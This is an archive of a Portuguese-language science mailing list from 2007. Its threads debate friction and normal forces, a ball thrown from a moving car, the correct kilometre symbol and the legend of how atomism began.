mais uma vez os caríssimos senhores professores se esqueceram do
rigor q se deve usar qd se trata de Ciência.
Uns dirão que é chinesice outros que para ser engenheiro basta...
mas como temos aqui a mania de entre nós há cientistas e futuros
prémio Nobel...


a unidade quilómetro deve escrever-se km e não Km.
Tá?

E continuem a vossa conversa.
Obrigada pelo cuidado ne vossa linguagem.
Maria Natália



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...>
escreveu
>
> Ricardo: A única coisa que os 2 problemas têm em comum é o seu
erro, para
> variar...
> ........................
> Vc não disse qual é o meu erro? Não adianta se esconder. A verdade
vai
> chegando de mansinho no problema da bola e em outros trocentos
problemas
> semelhantes de movimentos relativos. São eles que vão mostrar quem
está
> errando e insistindo no erro de interpretação, só para não aceitar
que minha
> análise está correta.
> []s
> JR
> ..............................................
>
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, June 20, 2007 2:11 PM
> Subject: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro
> a100Km/h:osresultados
>
>
> > Como já tinha adiantado o carro usa a pista-chão, como
referencial para a
> > medida da sua velocidade de deslocamento, e a bola usa o carro-
lançador
> > como referencial para medir sua velocidade de lançamento.
> >
> > Será que Homero, José Carlos e Ricardo vão questionar o uso de
dois
> > referenciais, como fizeram na questão do avião-esteira?
>
> E lá vamos nós...
>
> Mas o que esse filme trata não é exatamente a questão dos
referenciais? Mais
> do que explicitamente?
>
> A única coisa que os 2 problemas têm em comum é o seu erro, para
variar...
>
>
> Sds,
>
> Ricardo
>




SUBJECT: Fez um FRIO de rachar em Lisboa, Portugal
FROM: Maria Natália <grasdic2@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/06/2007 00:34


Aqui vão as últimas notícias...não das alterações climáticas:

"Frio polar no Pavilhão do Conhecimento
Cinco alunos portugueses ganham viagem à Antárctida

Caro(a) amigo(a),
E no dia 29 de Junho,tal como os meteorologistas tinham
previstosentiu-se um frio polar no Pavilhão do Conhecimento-Ciência
Viva, no Parque das Nações, em Lisboa.

Centenas de alunos de todos os graus de ensino expuseram os
trabalhos submetidos ao concurso nacional À Descoberta das regiões
polares, no âmbito do projecto LATITUDE60! Educação para o Planeta
no Ano Polar Internacional.

Os autores dos cinco melhores trabalhos irão integrar a expedição
Students-on-ice rumo à Antárctida. Além desta viagem inesquecível,
outros 30 estudantes vão ter a oportunidade de realizar um estágio
científico na Serra da Estrela e uma centena de alunos irá
participar na iniciativa 1000 ao mar, que terá lugar no estuário do
Tejo.

E como o frio foi mesmo mesmo muito intenso, foram montados dezenas
de iglús no exterior do Pavilhão do Conhecimento, como sinal de
alerta para os perigos do aquecimento global do planeta Terra.

O projecto LATITUDE60!, coordenado pelo Comité Português para o Ano
Polar Internacional e apoiado pela Ciência Viva, é uma das maiores
iniciativas educativas mundiais inseridas no Ano Polar
Internacional, envolvendo mais de 170 escolas, três centenas de
professores e milhares de estudantes de todo o país.

Vamos proteger as regiões polares é o tema desta sessão, organizada
pelo Centro de Ciências do Mar, as Universidades de Lisboa e do
Algarve, o Centro de Estudos Geográficos e a Associação de
Professores de Geografia, que conta com o apoio do Pavilhão do
Conhecimento-Ciência Viva, CTT, ICNB, Faculdade de Letras da
Universidade de Lisboa, Plátano Editora, Oceanário de Lisboa,
Dinalivro e Porto Editora.

www.cienciaviva.pt

PROGRAMA:

10h15 - Cerimónia de abertura
10h45 - Projecção de mini-documentários sobre ciência polar
portuguesa
. Terra australis - ciência polar
. Mais a sul. Em busca do solo gelado da Antárctida
11h30 - Cerimónia de entrega de prémios do concurso nacional À
Descoberta das regiões polares
13h00 - Vamos cantar para proteger as regiões polares
15h00 - Visitas à exposição e sessões com cientistas polares
. Gonçalo Vieira (15h)
. José Xavier (15h45)
. Alexandre Trindade (16h30)


/==/==/==/

Alguma escola do Brasil?
Obrigada pela atenção





SUBJECT: Re: Força de atrito e força normal não existem! UCFilho
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/06/2007 02:22

UCFilho, a questão central no conceito de "força de contato" é
justamente a da falta de necessidade de se considerar as forças
individualmente, de forma semelhante ao que fazemos quando usamos o
conceito de "pressão".

Não só é desnecessário considerar o número gigantesco de interações
moleculares durante um movimento de um corpo sobre uma superfície como
também é matematicamente "inviável" tratar o problema sob esse prisma.

No caso do plano inclinado, por exemplo, a coisa mais simples a fazer
na maioria dos casos é considerar a força resultante das interações
corpo-superfície (força de contato) e trabalhar com suas componentes
na direção do plano e na direção normal ao plano.

Cada caso é um caso e o conceito de força resultante é muitas vezes
confundido com a existência de uma força "real". Caso típico é o da
confusão entre "resultante centrípeta" com uma suposta força, a "força
centrípeta", que leva muitos estudantes a errarem probleminhas simples
porque não compreendem que a tal "força centrípeta" é só um nome
indevido para o termo "resultante centrípeta". Bom, mas isso já é
outra história e, por favor, não me falem de força "centrífuga". :)))

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "UCFilho" <ucfilho27182@...>
escreveu
>
> Bom dia JC, Léo e a todos,
>
> são interessantes as discussões entre as forças de atrito, normal
> e contato. Sempre podemos imaginar que existe uma única força e que é
> o efeito de vários eventos distintos e simultâneos, mas há várias
> situações que a ciência não segue este caminho por ele ser inviável.
>
> Se cada evento é algo de existência real faz sentido a ele associar
> uma força e a esta atribuir uma existência real. Isto simplifica a
> discussão científica e em muitos casos, como problemas complexos de
> fluidodinâmica, o usual é compreender as partes, com existência real,
> e não a força resultante que só é obtida no fim do estudo ou, então,
> nem há o interesse em obtê-la pois estuda-se o fenômeno só com as
> parcelas das forças.
>
> No contexto do plano inclinado é desnecessário a substituição do
> termo força de contato por forças componentes, mas, em outras
> situações, a existência das componentes das forças é algo em que há
> consenso científico de longas décadas (muito antes mesmos de Leo ou
> JC ou UCFilho sonharem em estudar e ensinar conceitos científicos).
>
> Um exemplo claro: basta ver a definição de alguns números
> adimensionais e outras variáveis e discutir o que se tem em cada um
> destes números e variáveis (veja alguns abaixo).
>
> Saudações. UCFilho
>
> Número de Reynolds= Força inercial/ Força viscosa
>
> Número de potência= Força de resistência/ Força inercial
>
> fator de fricção=(perda de energia friccional)/(perda de energia
> cinética)
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> <profjc2003@> escreveu
> >
> > Oi Léo,
> >
> > Eu também sempre prefiro falar em "Força de Contato", entendida
> como a
> > soma de todas as forças aplicadas ao corpo pela superfície. Normal e
> > atrito de escorregamento são tratadas como componentes dessa força
> de
> > contato.
> >
> > A rigor, as únicas forças reais são as repulsões elétricas entre os
> > átomos do corpo e da superfície sobre a qual ele se move. A força de
> > contato é a resultante dessas forças. E, uma vez dada uma força
> > resultante podemos decompô-la em quantas outras quisermos, conforme
> a
> > conveniência de cada caso.
> >
> > Abraços,
> > JC
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> > <leobarretos@> escreveu
> > >
> > > Olá pessoal
> > > (em particular, JC, como professor e produtor de textos de
> física),
> > >
> > > Em vários locais do Imperdível saliento a inexistência das forças
> de
> > atrito e força normal e as trato como meras decomposições ortogonais
> > da força total de apoio, em casos vantajosos.
> > >
> > > Na nota final, por exemplo, do trabalho "O 'truque' do carretel",
> > último item da Sala 05, destaco:
> > > +++++
> > > Nota 2: A 'força de atrito' e a 'força normal' não são forças
> reais;
> > a superfície de apoio não aplica, separadamente, duas forças no
> corpo,
> > aplica uma única que é a força total de apoio. Todavia, em algumas
> > situações, é cômodo decompor a força total de apoio em dois
> > componentes ortogonais e dai resultam as denominadas, força de
> atrito
> > e força normal. Recomendamos uma leitura no Equilíbrio da Escada
> para
> > assentar esse conceito. Repare que, quando se negligencia o atrito,
> > permanece sempre a força total de apoio, que é 'normal'
> (perpendicular
> > ao vínculo). Em outras situações essa decomposição ortogonal não é
> > vantajosa. Além disso, vale a pena tomar os devidos cuidados,
> frente a
> > um 'vestibular', quando a questão põe em destaque: "representar as
> > forças que efetivamente agem no corpo".
> > > +++++
> > > Tenho recebido algumas imposições de 'professores de cursinhos',
> que
> > insistem que tais forças são reais e não, como cito, "resultado de
> > mera decomposição 'ortogonal', por vezes vantajosa, devido à lei
> > empírica de Coulomb-Morin para o atrito seco (mü.N)".
> > > Em resposta, costumo dar o contra exemplo da escada encostada na
> > parede e apoiada em piso áspero e pergunto como é o diagrama das
> > forças --- e como variam para mostrar, em aula, o 'diagrama do corpo
> > livre' usando cordéis (experimento conhecido).
> > >
> > > Que argumentam, em favor ou contra ?
> > >
> > > aquele abraço,
> > > ===========================
> > > Luiz Ferraz Netto [Léo]
> > > leobarretos@
> > > http://www.feiradeciencias.com.br/doacoes.asp
> > > ===========================
> > >
> >
>




SUBJECT: Re: Espaço-de-tempo?
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/06/2007 02:31

Aproveitando a confusão: geralmente usamos os termos carga como
significando "carga elétrica" e massa como significando "massa
gravitacional". No entanto os termos carga e massa referem-se à
"quantidades" e não a "grandezas físicas". Embora não seja usual
falarmos em carga gravitacional, na engenharia não é muito incomum
trabalharmos com a idéia de massa como uma "carga de força", por
exemplo, e medi-la em quilograma-força. Em eletrostática também se
pode falar tranquilamente em "massa elétrica", embora o termo comum
seja "carga elétrica". Enfim, os termos "carga" e "massa" não
representam grandezas físicas e sim "quantidades". Acho essas
confusões interessantíssimas.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, Caio <caiocgomes@> escreveu
> > Uma particula não é igual a sua antiparticula somente por nao ter
> > carga.
>
> Eu não falei não ter carga. Mas sim ter carga oposta. Pode ser carga
> elétrica, carga de cor, carga de sabor...
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/06/2007 02:45

Natália,

O "Km" (com "K" maiúsculo mesmo) é uma nova unidade de medida criada
especialemnte para resolver problemas de física-teológica no espaço
qüântico-ectoplasmático-relativístico: o "Kelvin x metro". Essa
unidade mede a quantidade de energia térmico-mentalizante dissipada
pelas asinhas dos anjinhos loiros que impulsionam os corpos em
movimento. Foi criada junto com a teoria dos referenciais
qüântico-freibetianos, isto é, aqueles que só colapsam em referenciais
físicos quando algum místico os observa ("imagina") em suas mentes.
Por favor, não tente entender isso, é muito profundo e requer
altíssima especialização bíblica.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, Maria Natália <grasdic2@...>
escreveu
>
> AO AUTOR DO TÓPICO e se calhar aos distraídos q se lhe seguiram:
>
>
> Atendendo a que vêm aqui molecada "aprender" para fazer vestibular
> mais uma vez os caríssimos senhores professores se esqueceram do
> rigor q se deve usar qd se trata de Ciência.
> Uns dirão que é chinesice outros que para ser engenheiro basta...
> mas como temos aqui a mania de entre nós há cientistas e futuros
> prémio Nobel...
>
>
> a unidade quilómetro deve escrever-se km e não Km.
> Tá?
>
> E continuem a vossa conversa.
> Obrigada pelo cuidado ne vossa linguagem.
> Maria Natália
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@>
> escreveu
> >
> > Ricardo: A única coisa que os 2 problemas têm em comum é o seu
> erro, para
> > variar...
> > ........................
> > Vc não disse qual é o meu erro? Não adianta se esconder. A verdade
> vai
> > chegando de mansinho no problema da bola e em outros trocentos
> problemas
> > semelhantes de movimentos relativos. São eles que vão mostrar quem
> está
> > errando e insistindo no erro de interpretação, só para não aceitar
> que minha
> > análise está correta.
> > []s
> > JR
> > ..............................................
> >
> > From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> > Sent: Wednesday, June 20, 2007 2:11 PM
> > Subject: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro
> > a100Km/h:osresultados
> >
> >
> > > Como já tinha adiantado o carro usa a pista-chão, como
> referencial para a
> > > medida da sua velocidade de deslocamento, e a bola usa o carro-
> lançador
> > > como referencial para medir sua velocidade de lançamento.
> > >
> > > Será que Homero, José Carlos e Ricardo vão questionar o uso de
> dois
> > > referenciais, como fizeram na questão do avião-esteira?
> >
> > E lá vamos nós...
> >
> > Mas o que esse filme trata não é exatamente a questão dos
> referenciais? Mais
> > do que explicitamente?
> >
> > A única coisa que os 2 problemas têm em comum é o seu erro, para
> variar...
> >
> >
> > Sds,
> >
> > Ricardo
> >
>




SUBJECT: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/06/2007 11:36

On 6/29/07, José Renato <jrma@terra.com.br> wrote:
> Resumindo, André: as partículas de ar têm várias direções e sentidos no
> turbilhonamento provocado pelo carro a 100km/h mas *sua resultante* é sempre
> no mesmo sentido do carro. Num barco a remo, é o remo que provoca os
> turbilhonamentos mais significativos, nesse caso para a parte da popa, atrás
> do barco. Não equivale como exemplo.

Na verdade estava me referindo ao exemplo visual dos turbilhamentos
causados pela parte traseira de barcos. Em especial barcos cuja popa
seja reta, como o fim de uma carreta de caminhão.

Pra eliminar os remos, suponha que uma corda puxa um barco com uma
velocidade constante na direção de uma margem. Se você estiver ne
beira da popa, lançando particulas leves, e um companeiro numa borda
lançando particulas leves num dos lados (pra servir de pontos de
comparação), verá enormes efeito espiralantes das particulas lançadas
rente a popa, quase nenhum deles com sentido do barco, e uns poucos
justamente na direção contrária, em relação às particulas
"estacionárias".

Sugiro que faça esse experimento antes de insistir que a resultante só
pode ser na direção do barco.

Seu resumo não é apropriado.

Por fim, vejo que não especificou a minha questão bem clara. Você está
discutindo a resultante do turbilhamento como um todo (a) ou da
resultante das forças sobre um ponto "rasoavelmente estacionário" que
"passe" pelo turbilhamento (b) ?

São coisas bem diferentes, e uma delas simplesmente não se aplica ao
problema do vídeo.

André


SUBJECT: Re: Força de atrito e força normal não existem! UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/06/2007 15:10

Bom dia JC e a todos,

Se em diversas situações simples como as de um único bloco se
deslocando em um plano não é necessário considerar a existência da
força dita força de atrito para descrever o processo isto não
significa que é possível ou mesmo importante generalizar
a inexistência desta força.

O estudo com um número gigantesco de iterações é algo cada vez mais
comum. Por exemplo: quando se estuda fenômenos complexos como a
movimentação de fluidos ao redor de objetos com geometria complexa
o espaço é subdivido em diversos elementos e as equações elementares
são aplicadas a cada elemento e o conjunto de equações é resolvido,
por um computador, de forma simultânea.

O que quero dizer é que talvez não seja sensato a partir de um único
exemplo de plano inclinado sair por aí falando que não existe força
de atrito, pois a ciência só supre os conceitos que não têm
utilidade em nenhuma das áreas de conhecimento que ela atua.


Saudações. UCFilho


--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
<profjc2003@...> escreveu
>
> UCFilho, a questão central no conceito de "força de contato" é
> justamente a da falta de necessidade de se considerar as forças
> individualmente, de forma semelhante ao que fazemos quando usamos o
> conceito de "pressão".
>
> Não só é desnecessário considerar o número gigantesco de interações
> moleculares durante um movimento de um corpo sobre uma superfície
como
> também é matematicamente "inviável" tratar o problema sob esse
prisma.
>
> No caso do plano inclinado, por exemplo, a coisa mais simples a
fazer
> na maioria dos casos é considerar a força resultante das interações
> corpo-superfície (força de contato) e trabalhar com suas
componentes
> na direção do plano e na direção normal ao plano.
>
> Cada caso é um caso e o conceito de força resultante é muitas vezes
> confundido com a existência de uma força "real". Caso típico é o da
> confusão entre "resultante centrípeta" com uma suposta força,
a "força
> centrípeta", que leva muitos estudantes a errarem probleminhas
simples
> porque não compreendem que a tal "força centrípeta" é só um nome
> indevido para o termo "resultante centrípeta". Bom, mas isso já é
> outra história e, por favor, não me falem de
força "centrífuga". :)))
>
> Abraços,
> JC




SUBJECT: Surgimento do atomismo
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/06/2007 17:30

Caros colegas,
conta-se em alguns livros de Química que Leucipo caminhava na praia,
às margens do mar Egeu, com seu discipulo Demócrito, quando observou
que areia da praia parecia contínua quando vista de longe, contudo, ao
ser examinada de perto, era formada de inúmeros grãos de areia. Por
analogia, Leucipo sugeriu que todos os materiais são formados por
inúmeros grãos, mas não era possível vê-los, uma vez que eram muito
pequenos. Surgia o atomismo.
Apaesar de interessante, não achei qualquer referência histórica que
corroborasse com o texto acima, e pior, é provável que os dois sequer
tenham se conhecido. Mas de onde surgiu esta lenda? Há algum
fundamento?
Abraço,
Esteban.


SUBJECT: Re: [ciencialist] Jogar uma bola a 100km/h de um carro a100km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/06/2007 20:53

André, minha afirmação é que: se o empuxo é provocado pelo deslocamento de
um móvel em um ambiente que não apresenta outras forças significativas de
empuxo em ação, será o deslocamento desse móvel que incidirá sobre o ar - ou
outro fluido qualquer - na direção e sentido do móvel. Os refluxos
existentes são acomodações da massa deslocada e podem ter direções e
sentidos diversos, mas ao final o movimento será na mesma direção e sentido
do móvel.
Voltando ao vídeo em assunto: a bola - ou qualquer outro objeto - sofrerá um
empuxo, resultante do deslocamento do ar, na direção e sentido do veículo.
Outros comentários no corpo do e-mail para melhor entendimento...
...........................................

----- Original Message -----
From: "André L F S Bacci" <andrebacci.listas@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, June 30, 2007 11:36 AM
Subject: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro
a100Km/h:osresultados


On 6/29/07, José Renato <jrma@terra.com.br> wrote:
> Resumindo, André: as partículas de ar têm várias direções e sentidos no
> turbilhonamento provocado pelo carro a 100km/h mas *sua resultante* é
> sempre
> no mesmo sentido do carro. Num barco a remo, é o remo que provoca os
> turbilhonamentos mais significativos, nesse caso para a parte da popa,
> atrás
> do barco. Não equivale como exemplo.

Na verdade estava me referindo ao exemplo visual dos turbilhamentos
causados pela parte traseira de barcos. Em especial barcos cuja popa
seja reta, como o fim de uma carreta de caminhão.
JR - Os movimentos da água são difíceis de se determinar, mas os pescadores
de pequeno curso sabem que não devem se aproximar de um barco maior pois
podem ser "sugados" pelo deslocamento provocado na água pelo casco ou pelas
hélices.

Pra eliminar os remos, suponha que uma corda puxa um barco com uma
velocidade constante na direção de uma margem. Se você estiver ne
beira da popa, lançando particulas leves, e um companeiro numa borda
lançando particulas leves num dos lados (pra servir de pontos de
comparação), verá enormes efeito espiralantes das particulas lançadas
rente a popa, quase nenhum deles com sentido do barco, e uns poucos
justamente na direção contrária, em relação às particulas
"estacionárias".
JR - As partículas leves, como a poeira, acompanham o turbilhonamento do ar
em todas as direções e sentidos. Não há divergência quanto a isso.
Entretanto *a resultante* - isto é, após cessarem todos os movimentos
inseridos no ambiente - sobre um objeto como a bola ou uma partícula, será
na direção e no sentido do deslocamento do veículo que provoca o
turbilhonamento... Por menor que seja.

Sugiro que faça esse experimento antes de insistir que a resultante só
pode ser na direção do barco.
JR - Em geral há significativo fluxo de vento na superfície da água do mar,
lago ou rio. Esse tipo de esperiência só seria concludente em um ambiente
*minimamente controlado*. Os movimentos de um barco sobre água são difíceis
de determinar visto que existe inúmeras forças incidindo sobre ele.

Seu resumo não é apropriado.

Por fim, vejo que não especificou a minha questão bem clara. Você está
discutindo a resultante do turbilhamento como um todo (a) ou da
resultante das forças sobre um ponto "rasoavelmente estacionário" que
"passe" pelo turbilhamento (b) ?

São coisas bem diferentes, e uma delas simplesmente não se aplica ao
problema do vídeo.
JR - No vídeo temos a partícula-bola única onde incidem as forças do
turbilhonamento provocado pelo deslocamento do ar na trajetória do carro. Se
fossem partículas diversas, cada uma teria sua trajetória específica, mas ao
final dos movimentos espiralados, essas partículas terão se deslocado - o
mínimo que seja - na mesma direção e sentido do carro, visto que não há
outra força significativa promovendo o deslocamento em direção e sentido
contrário.

André

[]s
José Renato



SUBJECT: Re: Força de atrito e força normal não existem! UCFilho
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/06/2007 22:49

Oi UCFilho,

Veja bem, acho que eu não disse que a força de atrito "não existe" no
caso do plano inclinado, pois força de atrito é um nome que damos a
uma das componentes da força de contato (que é uma resultante). Acho
que está havendo aqui uma confusão.

O que existe "fisicamente" no caso do bloco movendo-se sobre o plano
inclinado é uma enormidade de interações entre as moléculas da base do
bloco e as moléculas da superfície de contato do plano. A origem
dessas forças é eletromagnética (força elétrica de repulsão entre as
eletrosferas das moléculas).

O "conceito" de força de atrito remete a uma força que dificulte o
movimento, dispersando sua energia, e que dependa do meio onde o corpo
se desloca. O nome "força de atrito" não se refere a uma categoria de
forças que exista de fato na natureza, pois força de atrito não é uma
das forças fundamentais, mas sim um nome que caracteriza aquela força
(resultante ou componente dela) como uma força que tende a dispersar a
energia do movimento.

A rigor não existe mesmo nenhuma "força" de atrito, mas isso não
significa que não podemos chamr determinadas forças de "força de
atrito" em determinadas situações.

No estudo dos fluídos as interações que dão origem à viscosidade e ao
atrito fluidodinâmico também são de origem eletromagnética. Veja que
na natureza há pouquíssimas forças consideradas fundamentais:
gravitacional, eletromagnética, fraca e forte.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "UCFilho" <ucfilho27182@...>
escreveu
>
> Bom dia JC e a todos,
>
> Se em diversas situações simples como as de um único bloco se
> deslocando em um plano não é necessário considerar a existência da
> força dita força de atrito para descrever o processo isto não
> significa que é possível ou mesmo importante generalizar
> a inexistência desta força.
>
> O estudo com um número gigantesco de iterações é algo cada vez mais
> comum. Por exemplo: quando se estuda fenômenos complexos como a
> movimentação de fluidos ao redor de objetos com geometria complexa
> o espaço é subdivido em diversos elementos e as equações elementares
> são aplicadas a cada elemento e o conjunto de equações é resolvido,
> por um computador, de forma simultânea.
>
> O que quero dizer é que talvez não seja sensato a partir de um único
> exemplo de plano inclinado sair por aí falando que não existe força
> de atrito, pois a ciência só supre os conceitos que não têm
> utilidade em nenhuma das áreas de conhecimento que ela atua.
>
>
> Saudações. UCFilho
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> <profjc2003@> escreveu
> >
> > UCFilho, a questão central no conceito de "força de contato" é
> > justamente a da falta de necessidade de se considerar as forças
> > individualmente, de forma semelhante ao que fazemos quando usamos o
> > conceito de "pressão".
> >
> > Não só é desnecessário considerar o número gigantesco de interações
> > moleculares durante um movimento de um corpo sobre uma superfície
> como
> > também é matematicamente "inviável" tratar o problema sob esse
> prisma.
> >
> > No caso do plano inclinado, por exemplo, a coisa mais simples a
> fazer
> > na maioria dos casos é considerar a força resultante das interações
> > corpo-superfície (força de contato) e trabalhar com suas
> componentes
> > na direção do plano e na direção normal ao plano.
> >
> > Cada caso é um caso e o conceito de força resultante é muitas vezes
> > confundido com a existência de uma força "real". Caso típico é o da
> > confusão entre "resultante centrípeta" com uma suposta força,
> a "força
> > centrípeta", que leva muitos estudantes a errarem probleminhas
> simples
> > porque não compreendem que a tal "força centrípeta" é só um nome
> > indevido para o termo "resultante centrípeta". Bom, mas isso já é
> > outra história e, por favor, não me falem de
> força "centrífuga". :)))
> >
> > Abraços,
> > JC
>




SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a100km/h:osresultados
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/07/2007 00:53

É verdade, obrigado! Corrigi lá no blog o texto original.

Um abraço,

Mori

On 6/30/07, Maria Natália <grasdic2@yahoo.com> wrote:
>
>
>
>
>
>
> AO AUTOR DO TÓPICO e se calhar aos distraídos q se lhe seguiram:
>
> Atendendo a que vêm aqui molecada "aprender" para fazer vestibular
> mais uma vez os caríssimos senhores professores se esqueceram do
> rigor q se deve usar qd se trata de Ciência.
> Uns dirão que é chinesice outros que para ser engenheiro basta...
> mas como temos aqui a mania de entre nós há cientistas e futuros
> prémio Nobel...
>
> a unidade quilómetro deve escrever-se km e não Km.
> Tá?
>
> E continuem a vossa conversa.
> Obrigada pelo cuidado ne vossa linguagem.
> Maria Natália


SUBJECT: Re: [ciencialist] Surgimento do atomismo
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/07/2007 11:39

On 6/30/07, Esteban Moreno <estebanlmoreno@gmail.com> wrote:
> Caros colegas,
> conta-se em alguns livros de Química que Leucipo caminhava na praia,
> às margens do mar Egeu, com seu discipulo Demócrito, quando observou
> que areia da praia parecia contínua quando vista de longe, contudo, ao
> ser examinada de perto, era formada de inúmeros grãos de areia. Por
> analogia, Leucipo sugeriu que todos os materiais são formados por
> inúmeros grãos, mas não era possível vê-los, uma vez que eram muito
> pequenos. Surgia o atomismo.
> Apaesar de interessante, não achei qualquer referência histórica que
> corroborasse com o texto acima, e pior, é provável que os dois sequer
> tenham se conhecido. Mas de onde surgiu esta lenda? Há algum
> fundamento?

Fundamento pelo próprio Demócrito, parece que não.
http://en.wikipedia.org/wiki/Atomism#Greek_atomism , veja a referência
2.

A propósito da lenda, ela é boa alegoria pra explicar o conceito de
átomos. Pode ser o caso de uma alegoria moderna associada
indevidamente.

André


SUBJECT: vídeos sobre ciências
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/07/2007 14:02

Acho que não foi postado aqui...

Coletânea de vídeos sobre ciências
http://sciencehack.com/


SUBJECT: RE: [ciencialist] vídeos sobre ciências
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/07/2007 18:55

Nanado, oi...
Se foi, eu não ví!
Muito obrigado!
abr/M.


>From: Nando <nando.str@gmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] vídeos sobre ciências
>Date: Sun, 01 Jul 2007 14:02:17 -0300
>
>Acho que não foi postado aqui...
>
>Coletânea de vídeos sobre ciências
>http://sciencehack.com/
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Re: Jogar uma bola a 100km/h de um carro a100km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/07/2007 22:24

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Voltando ao vídeo em assunto: a bola - ou qualquer outro objeto -
> sofrerá um empuxo, resultante do deslocamento do ar, na direção e
> sentido do veículo.

Já mostrei os cálculos q indicam q a trajetória da bola é incompatível
com uma influência significativa da aceleração pelo vento - o vento
teria um comportamento muito estranho: ora enfraquecendo, ora se
fortalecendo.

http://br.groups.yahoo.com/group/ciencialist/message/64154

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um carro idem
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/07/2007 22:52

Algumas observações and questions:

1- Remo é uma alavanca, quer seja usado sobre o gancho na borda do barco quer diretamente apenas com as mãos. Pergunto: que tipo de alavanca é o remo? Interfixa, interpotente ou inter-resistente?

2- "JR - Os movimentos da água são difíceis de se determinar, mas os pescadores
de pequeno curso sabem que não devem se aproximar de um barco maior pois
podem ser "sugados" pelo deslocamento provocado na água pelo casco ou pelas
hélices."
Não é bem assim. Dois barcos navegando próximos determinam um fluxo de água entre eles com velocidade maior que dos outros lados dos barcos. Bernoulli justifica a aproximação entre eles; é equivalente a soprar entre duas bolas próximas dependuradas.

3- O acréscimo de velocidade horizontal adquirido pela bola após a primeira quicada só (penso eu) pode ser justificado pela rotação da bola em sentido anti horário (em relação ao visto no filme). Empuxo do ar (ou vácuo) na área da bola é incompatível com o observado (e calculado pelo Roberto).

4- E o avião? Já Decolou? Quem tem dúvida pense assim: que aconteceria se a esteira 'corresse' no mesmo sentido e valor da velocidade do avião conforme este adquire velocidade em relação ar?

5- Força de atrito não existe e não caracteriza corpo, superfície, natureza ou qqer força natural. Esse componente da força total de apoio é, sem dúvida, muitas vezes útil. A lei de Coulomb-Morin para superfícies secas (Fat = µ.N) denota bem sua utilidade ... todavia, notem, é função de N, para deixar claro que ela e N pertencem a algo mais geral. Se um bloco está apoiado sobre um plano inclinado, sem deslizar, e alguém perguntar "como é a reação total de apoio?", não há o que pensar duas vezes para responder "é a equilibrante do peso do bloco!", portanto, vertical, para cima e de mesmo valor que m.g.

6- Sucesso! Acabei de chegar da cidade de Três Marias - MG (quiuspa! 9 horas de viagem!) onde fiz palestra na 4a feira à noite e exposição de uns 20 experimentos que levei prá lá, na 5a feira à noite. Saboreei um 'surubim grelhado à beira do Rio São Francisco, visitei a Votorantin-metais (maior produtora de zinco do Brasil) --- tudo na base de van para transporte (sprinter), carro à disposição, hotel etc.; aceitei o convite da Votorantin, prefeitura e Secret. da Educação. Ah! agora tenho algumas barras de zinco para fazer um bocado de experiências!

inté a próxima ........

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 30 de junho de 2007 20:53
Assunto: Re: [ciencialist] Jogar uma bola a 100km/h de um carro a100km/h:osresultados

[ ... ]


SUBJECT: Queremos Fluorescentes
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
